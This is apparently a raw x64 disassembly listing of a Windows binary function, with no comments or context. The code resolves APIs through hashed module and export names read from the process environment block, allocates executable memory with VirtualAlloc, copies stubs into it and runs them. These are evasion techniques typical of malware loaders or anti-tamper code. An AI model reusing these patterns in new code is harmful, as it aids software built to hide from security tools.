jmp 0x1401e4554
mov qword [0x1404dbba8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
xor eax, eax
test rbx, rbx
jne 0x1401e4800
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e4715
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e4707
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e46f6
cmp r8d, esi
jne 0x1401e47e2
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401e47e2
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e47e2
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x1401e4769
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e475e
cmp edx, r14d
je 0x1401e477f
test r9d, r9d
jne 0x1401e4749
jmp 0x1401e47e2
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401e47f9
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401e47f9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e47c1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401e47b3
jmp 0x1401e47d6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x1401e47c9
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401e47f6
cmp qword [rbx + 0x30], rax
jne 0x1401e46c5
mov rbx, rax
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
xor eax, eax
test rdx, rdx
jne 0x1401e4979
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e488e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e4880
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e486f
cmp r8d, esi
jne 0x1401e495b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e495b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e495b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e48e2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e48d7
cmp edx, r14d
je 0x1401e48f8
test r9d, r9d
jne 0x1401e48c2
jmp 0x1401e495b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e4972
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401e4972
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e493a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e492c
jmp 0x1401e494f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401e4942
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e496f
cmp qword [rdi + 0x30], rax
jne 0x1401e483e
mov rdx, rax
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
xor eax, eax
test rdx, rdx
jne 0x1401e4ae9
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e49fe
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e49f0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e49df
cmp r8d, esi
jne 0x1401e4acb
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e4acb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e4acb
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e4a52
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e4a47
cmp edx, r14d
je 0x1401e4a68
test r9d, r9d
jne 0x1401e4a32
jmp 0x1401e4acb
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e4ae2
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401e4ae2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e4aaa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e4a9c
jmp 0x1401e4abf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401e4ab2
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e4adf
cmp qword [rdi + 0x30], rax
jne 0x1401e49ae
mov rdx, rax
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
xor eax, eax
test rdx, rdx
jne 0x1401e4c59
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e4b6e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e4b60
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e4b4f
cmp r8d, esi
jne 0x1401e4c3b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e4c3b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e4c3b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e4bc2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e4bb7
cmp edx, r14d
je 0x1401e4bd8
test r9d, r9d
jne 0x1401e4ba2
jmp 0x1401e4c3b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e4c52
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401e4c52
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e4c1a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e4c0c
jmp 0x1401e4c2f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401e4c22
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e4c4f
cmp qword [rdi + 0x30], rax
jne 0x1401e4b1e
mov rdx, rax
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404dbbc8], rax
jne 0x1401e4dc8
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e4cdb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e4ccd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e4cbc
cmp r8d, esi
jne 0x1401e4daa
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e4daa
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e4daa
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e4d2f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e4d24
cmp edx, r14d
je 0x1401e4d45
test r9d, r9d
jne 0x1401e4d0f
jmp 0x1401e4daa
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401e4dc1
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401e4dc1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e4d87
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401e4d79
jmp 0x1401e4d9d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x1401e4d90
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e4dbe
cmp qword [rdi + 0x30], rax
jne 0x1401e4c8b
mov r9, rax
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401e4e3f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401e4e25
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e4e06
cmp r8d, 0x610c0de3
je 0x1401e4e92
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x1401e4e35
cmp qword [r9 + 0x30], rax
jne 0x1401e4deb
mov r8, rax
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r13
test al, al
je 0x1401e4e8d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r13
test al, al
jne 0x1401e4e71
cmp ecx, 0xe463da3c
je 0x1401e4e98
add r9d, r13d
jmp 0x1401e4e55
mov r8, qword [r9 + 0x30]
jmp 0x1401e4e38
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
xor eax, eax
test r10, r10
jne 0x1401e5033
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e4f3d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e4f2f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e4f1e
cmp r8d, esi
jne 0x1401e500f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401e500f
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401e500f
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e4f91
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e4f86
cmp edx, r14d
je 0x1401e4fa7
test r9d, r9d
jne 0x1401e4f71
jmp 0x1401e500f
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401e5026
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401e5026
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401e5002
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401e4fde
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401e4ff5
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e5023
cmp qword [rdi + 0x30], rax
jne 0x1401e4eed
mov r10, rax
mov qword [0x1404dbbf8], r10
mov r13d, 1
lea r9, [rbp + 0x11a8]
mov r8d, r13d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
xor eax, eax
test r8, r8
jne 0x1401e51b9
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e50c9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e50bb
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e50aa
cmp r8d, esi
jne 0x1401e519b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e519b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e519b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e511d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e5112
cmp edx, r14d
je 0x1401e5133
test r9d, r9d
jne 0x1401e50fd
jmp 0x1401e519b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401e51b2
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401e51b2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401e518e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401e516a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401e5181
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e51af
cmp qword [rdi + 0x30], rax
jne 0x1401e5079
mov r8, rax
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
sub eax, 0x66666667
mov dword [rdx + 0x40], eax
lea rbx, [0x1401d1aa4]
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp - 0x60], eax
mov qword [rbp], rax
lea rax, [0x140209638]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp - 0x5c], eax
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x68]
call fcn.1401a8df4
nop
xor edx, edx
mov ecx, edx
mov edi, 0x1f4
lea r14, [0x140198bd8]
lea rsi, [0x140000000]
mov rax, qword [0x1404db560]
test rax, rax
je 0x1401e5281
lea r15d, [rdx + 1]
cmp rax, r14
je 0x1401e526e
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4db560]
test rax, rax
jne 0x1401e5257
jmp 0x1401e5281
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4db880]
test r10, r10
jne 0x1401e5366
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x1401e52aa
mov r10d, eax
jmp 0x1401e533f
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1401e52b9
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404db550]
mov qword [rsi + rax*8 + 0x4db560], r14
mov qword [rsi + rax*8 + 0x4db880], r10
mov r15d, 1
add rax, r15
mov qword [0x1404db550], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x68]
xor rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x78]
mov qword [rcx], rdx
mov qword [0x1404db4e8], rax
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp - 0x74], eax
mov qword [rbp - 0x40], rax
lea rax, [0x1401a90d4]
mov qword [rbp - 0x30], rax
xor eax, eax
mov dword [rbp - 0x70], eax
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x80]
call fcn.1401a8df4
nop
xor edx, edx
mov ecx, edx
mov rax, qword [0x1404db560]
jmp 0x1401e540d
cmp rax, r14
je 0x1401e5414
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4db560]
test rax, rax
jne 0x1401e53fd
jmp 0x1401e5427
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4db880]
test r10, r10
jne 0x1401e5506
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x1401e5450
mov r10d, eax
jmp 0x1401e54e5
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1401e545f
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404db550]
mov qword [rsi + rax*8 + 0x4db560], r14
mov qword [rsi + rax*8 + 0x4db880], r10
add rax, r15
mov qword [0x1404db550], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x80]
xor rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rcx], rdx
mov qword [0x1404db4f0], rax
mov byte [0x1404db4d4], r15b
xor ebx, ebx
cmp qword [0x1404db4e8], rbx
je 0x1401e58cf
test rax, rax
je 0x1401e58cf
call fcn.1401d173c
test al, al
je 0x1401e58cf
mov rcx, qword [0x1404db4e8]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401e58cf
mov rcx, qword [0x1404db4f0]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401e58cf
mov r12d, 0xbb21e02e
mov rdx, qword [0x1404dbc28]
xor eax, eax
test rdx, rdx
jne 0x1401e571b
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e562d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e561f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e560e
cmp r8d, esi
jne 0x1401e56fd
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e56fd
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e56fd
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e5681
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e5676
cmp edx, r14d
je 0x1401e5697
test r9d, r9d
jne 0x1401e5661
jmp 0x1401e56fd
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e5714
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401e5714
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401e56f1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401e56ce
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401e56e4
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e5711
cmp qword [rdi + 0x30], rax
jne 0x1401e55dd
mov rdx, rax
mov qword [0x1404dbc28], rdx
mov rcx, qword [0x1404db4e8]
call rdx
mov rdx, qword [0x1404dbc28]
xor eax, eax
test rdx, rdx
jne 0x1401e5890
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
